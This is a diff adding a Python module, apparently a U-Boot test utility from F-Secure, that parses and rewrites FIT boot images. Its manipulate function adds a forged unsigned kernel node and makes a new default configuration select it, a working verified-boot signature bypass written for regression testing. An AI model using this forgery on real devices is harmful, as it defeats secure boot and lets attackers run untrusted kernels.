--- /dev/null
+#!/usr/bin/python3
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2020, F-Secure Corporation, https://foundry.f-secure.com
+#
+# pylint: disable=E1101,W0201,C0103
+
+"""
+Verified boot image forgery tools and utilities
+
+This module provides services to both take apart and regenerate FIT images
+in a way that preserves all existing verified boot signatures, unless you
+manipulate nodes in the process.
+"""
+
+import struct
+import binascii
+from io import BytesIO
+
+#
+# struct parsing helpers
+#
+
+class BetterStructMeta(type):
+ """
+ Preprocesses field definitions and creates a struct.Struct instance from them
+ """
+ def __new__(cls, clsname, superclasses, attributedict):
+ if clsname != 'BetterStruct':
+ fields = attributedict['__fields__']
+ field_types = [_[0] for _ in fields]
+ field_names = [_[1] for _ in fields if _[1] is not None]
+ attributedict['__names__'] = field_names
+ s = struct.Struct(attributedict.get('__endian__', '') + ''.join(field_types))
+ attributedict['__struct__'] = s
+ attributedict['size'] = s.size
+ return type.__new__(cls, clsname, superclasses, attributedict)
+
+class BetterStruct(metaclass=BetterStructMeta):
+ """
+ Base class for better structures
+ """
+ def __init__(self):
+ for t, n in self.__fields__:
+ if 's' in t:
+ setattr(self, n, '')
+ elif t in ('Q', 'I', 'H', 'B'):
+ setattr(self, n, 0)
+
+ @classmethod
+ def unpack_from(cls, buffer, offset=0):
+ """
+ Unpack structure instance from a buffer
+ """
+ fields = cls.__struct__.unpack_from(buffer, offset)
+ instance = cls()
+ for n, v in zip(cls.__names__, fields):
+ setattr(instance, n, v)
+ return instance
+
+ def pack(self):
+ """
+ Pack structure instance into bytes
+ """
+ return self.__struct__.pack(*[getattr(self, n) for n in self.__names__])
+
+ def __str__(self):
+ items = ["'%s': %s" % (n, repr(getattr(self, n))) for n in self.__names__ if n is not None]
+ return '(' + ', '.join(items) + ')'
+
+#
+# some defs for flat DT data
+#
+
+class HeaderV17(BetterStruct):
+ __endian__ = '>'
+ __fields__ = [
+ ('I', 'magic'),
+ ('I', 'totalsize'),
+ ('I', 'off_dt_struct'),
+ ('I', 'off_dt_strings'),
+ ('I', 'off_mem_rsvmap'),
+ ('I', 'version'),
+ ('I', 'last_comp_version'),
+ ('I', 'boot_cpuid_phys'),
+ ('I', 'size_dt_strings'),
+ ('I', 'size_dt_struct'),
+ ]
+
+class RRHeader(BetterStruct):
+ __endian__ = '>'
+ __fields__ = [
+ ('Q', 'address'),
+ ('Q', 'size'),
+ ]
+
+class PropHeader(BetterStruct):
+ __endian__ = '>'
+ __fields__ = [
+ ('I', 'value_size'),
+ ('I', 'name_offset'),
+ ]
+
+# magical constants for DTB format
+OF_DT_HEADER = 0xd00dfeed
+OF_DT_BEGIN_NODE = 1
+OF_DT_END_NODE = 2
+OF_DT_PROP = 3
+OF_DT_END = 9
+
+class StringsBlock:
+ """
+ Represents a parsed device tree string block
+ """
+ def __init__(self, values=None):
+ if values is None:
+ self.values = []
+ else:
+ self.values = values
+
+ def __getitem__(self, at):
+ if isinstance(at, str):
+ offset = 0
+ for value in self.values:
+ if value == at:
+ break
+ offset += len(value) + 1
+ else:
+ self.values.append(at)
+ return offset
+
+ if isinstance(at, int):
+ offset = 0
+ for value in self.values:
+ if offset == at:
+ return value
+ offset += len(value) + 1
+ raise IndexError('no string found corresponding to the given offset')
+
+ raise TypeError('only strings and integers are accepted')
+
+class Prop:
+ """
+ Represents a parsed device tree property
+ """
+ def __init__(self, name=None, value=None):
+ self.name = name
+ self.value = value
+
+ def clone(self):
+ return Prop(self.name, self.value)
+
+ def __repr__(self):
+ return "<Prop(name='%s', value=%s>" % (self.name, repr(self.value))
+
+class Node:
+ """
+ Represents a parsed device tree node
+ """
+ def __init__(self, name=None):
+ self.name = name
+ self.props = []
+ self.children = []
+
+ def clone(self):
+ o = Node(self.name)
+ o.props = [x.clone() for x in self.props]
+ o.children = [x.clone() for x in self.children]
+ return o
+
+ def __getitem__(self, index):
+ return self.children[index]
+
+ def __repr__(self):
+ return "<Node('%s'), %s, %s>" % (self.name, repr(self.props), repr(self.children))
+
+#
+# flat DT to memory
+#
+
+def parse_strings(strings):
+ """
+ Converts the bytes into a StringsBlock instance so it is convenient to work with
+ """
+ strings = strings.split(b'\x00')
+ return StringsBlock(strings)
+
+def parse_struct(stream):
+ """
+ Parses DTB structure(s) into a Node or Prop instance
+ """
+ tag = bytearray(stream.read(4))[3]
+ if tag == OF_DT_BEGIN_NODE:
+ name = b''
+ while b'\x00' not in name:
+ name += stream.read(4)
+ name = name.rstrip(b'\x00')
+ node = Node(name)
+
+ item = parse_struct(stream)
+ while item is not None:
+ if isinstance(item, Node):
+ node.children.append(item)
+ elif isinstance(item, Prop):
+ node.props.append(item)
+ item = parse_struct(stream)
+
+ return node
+
+ if tag == OF_DT_PROP:
+ h = PropHeader.unpack_from(stream.read(PropHeader.size))
+ length = (h.value_size + 3) & (~3)
+ value = stream.read(length)[:h.value_size]
+ prop = Prop(h.name_offset, value)
+ return prop
+
+ if tag in (OF_DT_END_NODE, OF_DT_END):
+ return None
+
+ raise ValueError('unexpected tag value')
+
+def read_fdt(fp):
+ """
+ Reads and parses the flattened device tree (or derivatives like FIT)
+ """
+ header = HeaderV17.unpack_from(fp.read(HeaderV17.size))
+ if header.magic != OF_DT_HEADER:
+ raise ValueError('invalid magic value %08x; expected %08x' % (header.magic, OF_DT_HEADER))
+ # TODO: read/parse reserved regions
+ fp.seek(header.off_dt_struct)
+ structs = fp.read(header.size_dt_struct)
+ fp.seek(header.off_dt_strings)
+ strings = fp.read(header.size_dt_strings)
+ strblock = parse_strings(strings)
+ root = parse_struct(BytesIO(structs))
+
+ return root, strblock
+
+#
+# memory to flat DT
+#
+
+def compose_structs_r(item):
+ """
+ Recursive part of composing Nodes and Props into a bytearray
+ """
+ t = bytearray()
+
+ if isinstance(item, Node):
+ t.extend(struct.pack('>I', OF_DT_BEGIN_NODE))
+ if isinstance(item.name, str):
+ item.name = bytes(item.name, 'utf-8')
+ name = item.name + b'\x00'
+ if len(name) & 3:
+ name += b'\x00' * (4 - (len(name) & 3))
+ t.extend(name)
+ for p in item.props:
+ t.extend(compose_structs_r(p))
+ for c in item.children:
+ t.extend(compose_structs_r(c))
+ t.extend(struct.pack('>I', OF_DT_END_NODE))
+
+ elif isinstance(item, Prop):
+ t.extend(struct.pack('>I', OF_DT_PROP))
+ value = item.value
+ h = PropHeader()
+ h.name_offset = item.name
+ if value:
+ h.value_size = len(value)
+ t.extend(h.pack())
+ if len(value) & 3:
+ value += b'\x00' * (4 - (len(value) & 3))
+ t.extend(value)
+ else:
+ h.value_size = 0
+ t.extend(h.pack())
+
+ return t
+
+def compose_structs(root):
+ """
+ Composes the parsed Nodes into a flat bytearray instance
+ """
+ t = compose_structs_r(root)
+ t.extend(struct.pack('>I', OF_DT_END))
+ return t
+
+def compose_strings(strblock):
+ """
+ Composes the StringsBlock instance back into a bytearray instance
+ """
+ b = bytearray()
+ for s in strblock.values:
+ b.extend(s)
+ b.append(0)
+ return bytes(b)
+
+def write_fdt(root, strblock, fp):
+ """
+ Writes out a complete flattened device tree (or FIT)
+ """
+ header = HeaderV17()
+ header.magic = OF_DT_HEADER
+ header.version = 17
+ header.last_comp_version = 16
+ fp.write(header.pack())
+
+ header.off_mem_rsvmap = fp.tell()
+ fp.write(RRHeader().pack())
+
+ structs = compose_structs(root)
+ header.off_dt_struct = fp.tell()
+ header.size_dt_struct = len(structs)
+ fp.write(structs)
+
+ strings = compose_strings(strblock)
+ header.off_dt_strings = fp.tell()
+ header.size_dt_strings = len(strings)
+ fp.write(strings)
+
+ header.totalsize = fp.tell()
+
+ fp.seek(0)
+ fp.write(header.pack())
+
+#
+# pretty printing / converting to DT source
+#
+
+def as_bytes(value):
+ return ' '.join(["%02X" % x for x in value])
+
+def prety_print_value(value):
+ """
+ Formats a property value as appropriate depending on the guessed data type
+ """
+ if not value:
+ return '""'
+ if value[-1] == b'\x00':
+ printable = True
+ for x in value[:-1]:
+ x = ord(x)
+ if x != 0 and (x < 0x20 or x > 0x7F):
+ printable = False
+ break
+ if printable:
+ value = value[:-1]
+ return ', '.join('"' + x + '"' for x in value.split(b'\x00'))
+ if len(value) > 0x80:
+ return '[' + as_bytes(value[:0x80]) + ' ... ]'
+ return '[' + as_bytes(value) + ']'
+
+def pretty_print_r(node, strblock, indent=0):
+ """
+ Prints out a single node, recursing further for each of its children
+ """
+ spaces = ' ' * indent
+ print((spaces + '%s {' % (node.name.decode('utf-8') if node.name else '/')))
+ for p in node.props:
+ print((spaces + ' %s = %s;' % (strblock[p.name].decode('utf-8'), prety_print_value(p.value))))
+ for c in node.children:
+ pretty_print_r(c, strblock, indent+1)
+ print((spaces + '};'))
+
+def pretty_print(node, strblock):
+ """
+ Generates an almost-DTS formatted printout of the parsed device tree
+ """
+ print('/dts-v1/;')
+ pretty_print_r(node, strblock, 0)
+
+#
+# manipulating the DT structure
+#
+
+def manipulate(root, strblock):
+ """
+ Maliciously manipulates the structure to create a crafted FIT file
+ """
+ # locate /images/kernel@1 (frankly, it just expects it to be the first one)
+ kernel_node = root[0][0]
+ # clone it to save time filling all the properties
+ fake_kernel = kernel_node.clone()
+ # rename the node
+ fake_kernel.name = b'kernel@2'
+ # get rid of signatures/hashes
+ fake_kernel.children = []
+ # NOTE: this simply replaces the first prop... either description or data
+ # should be good for testing purposes
+ fake_kernel.props[0].value = b'Super 1337 kernel\x00'
+ # insert the new kernel node under /images
+ root[0].children.append(fake_kernel)
+
+ # modify the default configuration
+ root[1].props[0].value = b'conf@2\x00'
+ # clone the first (only?) configuration
+ fake_conf = root[1][0].clone()
+ # rename and change kernel and fdt properties to select the crafted kernel
+ fake_conf.name = b'conf@2'
+ fake_conf.props[0].value = b'kernel@2\x00'
+ fake_conf.props[1].value = b'fdt@1\x00'
+ # insert the new configuration under /configurations
+ root[1].children.append(fake_conf)
+
+ return root, strblock
+
+def main(argv):
+ with open(argv[1], 'rb') as fp:
+ root, strblock = read_fdt(fp)
+
+ print("Before:")
+ pretty_print(root, strblock)
+
+ root, strblock = manipulate(root, strblock)
+ print("After:")
+ pretty_print(root, strblock)
+
+ with open('blah', 'w+b') as fp:
+ write_fdt(root, strblock, fp)
+
+if __name__ == '__main__':
+ import sys
+ main(sys.argv)
+# EOF
projects / u-boot.git / commitdiff